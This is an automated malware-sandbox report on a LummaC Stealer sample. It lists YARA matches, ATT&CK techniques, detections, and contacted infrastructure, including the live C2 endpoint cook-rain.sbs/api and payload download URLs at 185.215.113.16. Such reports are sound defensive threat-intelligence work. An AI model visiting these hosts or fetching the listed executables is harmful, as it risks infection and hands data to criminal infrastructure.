Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1481913263.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480903921.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1481788169.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1408418998.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1482199863.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1479733246.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1431407480.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480175831.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1482141402.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1481170301.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480846306.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1405046358.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480497911.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1404797585.0000000000D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1481419256.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480789721.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1481105021.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1478451458.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1404763527.0000000000D86000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1454766958.0000000000D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1431979951.0000000000D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1482398386.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1479944763.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1482560101.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480395185.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480442489.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1482270321.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480656259.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1481284524.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1479679719.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1482338604.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1481660981.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1481485378.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1481547322.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480124631.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1481601553.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480070005.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1481224363.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1482025644.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1479618526.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1479518501.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1481966600.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1455104063.0000000000D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1481854117.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480725822.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1479999865.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1479780165.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1454734940.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480336128.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1479830355.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1480280700.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1454569653.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1481035773.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7560, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7560, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	751 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	34 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://cook-rain.sbs/ers	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apivL	100%	Avira URL Cloud	malware
https://cook-rain.sbs/9	100%	Avira URL Cloud	malware
https://cook-rain.sbs/h	100%	Avira URL Cloud	malware
https://cook-rain.sbs/a	100%	Avira URL Cloud	malware
https://cook-rain.sbs/Z	100%	Avira URL Cloud	malware
https://cook-rain.sbs/T	100%	Avira URL Cloud	malware
https://cook-rain.sbs/9	14%	Virustotal		Browse
http://185.215.113.16/steam/random.exe-	0%	Avira URL Cloud	safe
https://cook-rain.sbs/s	100%	Avira URL Cloud	malware
https://cook-rain.sbs/h	9%	Virustotal		Browse
https://cook-rain.sbs/api.m	100%	Avira URL Cloud	malware
https://cook-rain.sbs/-l	100%	Avira URL Cloud	malware
https://cook-rain.sbs/%	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apiqjf	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	104.21.66.38	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_113.6.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apivL	file.exe, 00000000.00000003.1583690550.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583514440.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_113.6.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/9	file.exe, 00000000.00000003.1478451458.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://cook-rain.sbs/ers	file.exe, 00000000.00000003.1583690550.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508938926.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675911487.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583514440.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675867782.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505552473.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Youssef1313	chromecache_113.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_105.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_113.6.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://cook-rain.sbs/h	file.exe, 00000000.00000003.1583471081.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_113.6.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_113.6.dr, chromecache_114.6.dr, chromecache_77.6.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/a	file.exe, 00000000.00000003.1527370840.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505409525.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1510492976.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583471081.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://learn-video.azurefd.net/vod/player	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://cook-rain.sbs/Z	file.exe, 00000000.00000003.1583471081.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://twitter.com/intent/tweet?original_referer=$	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://github.com/gewarren	chromecache_113.6.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.1736767877.000000000053A000.00000004.00000010.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1455998720.000000000569F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://cook-rain.sbs/T	file.exe, 00000000.00000003.1527370840.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1510492976.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583471081.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_113.6.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_113.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_113.6.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://aka.ms/certhelp	chromecache_93.6.dr, chromecache_105.6.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.1738243714.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, 00000000.00000003.1481035773.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454569653.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_113.6.dr	false		high
https://cook-rain.sbs/z	file.exe, 00000000.00000003.1583471081.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_105.6.dr	false		high
http://185.215.113.16/steam/random.exe-	file.exe, 00000000.00000002.1738243714.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://polymer.github.io/LICENSE.txt	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1455998720.000000000569F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/s	file.exe, 00000000.00000003.1505409525.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/yourcaliforniaprivacychoices	chromecache_113.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_113.6.dr	false		high
https://cook-rain.sbs/api.m	file.exe, 00000000.00000003.1583690550.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675911487.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583514440.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675867782.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/-l	file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1478451458.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454734940.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454569653.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://github.com/adegeo	chromecache_113.6.dr	false		high
https://cook-rain.sbs:443/api	file.exe, file.exe, 00000000.00000003.1583514440.0000000000D31000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/%	file.exe, 00000000.00000003.1479733246.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1478451458.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479679719.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479618526.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479518501.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479780165.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479830355.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/jonschlinkert/is-plain-object	chromecache_93.6.dr, chromecache_105.6.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1455005723.00000000055A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://cook-rain.sbs/apiqjf	file.exe, 00000000.00000003.1583690550.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1481913263.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1480903921.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1481788169.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1482199863.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479733246.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1480175831.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431407480.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1482141402.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1481170301.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1480846306.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508938926.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1480497911.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1481419256.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1480789721.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1481105021.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1478451458.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1482398386.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583514440.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1482560101.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1479944763.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.1738243714.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_113.6.dr	false		high
https://channel9.msdn.com/	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_93.6.dr, chromecache_105.6.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.66.38	cook-rain.sbs	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560592
Start date and time:	2024-11-22 01:01:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@9/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.20.68.201, 172.217.21.35, 23.218.210.69, 172.217.19.238, 74.125.205.84, 2.20.41.214, 34.104.35.123, 20.189.173.25, 172.217.17.42, 172.217.21.42, 172.217.19.234, 216.58.208.234, 172.217.19.202, 142.250.181.138, 142.250.181.74, 172.217.17.74, 142.250.181.10, 142.250.181.42, 2.19.198.56, 23.32.238.130, 13.69.239.79, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.217.17.67, 172.217.17.46
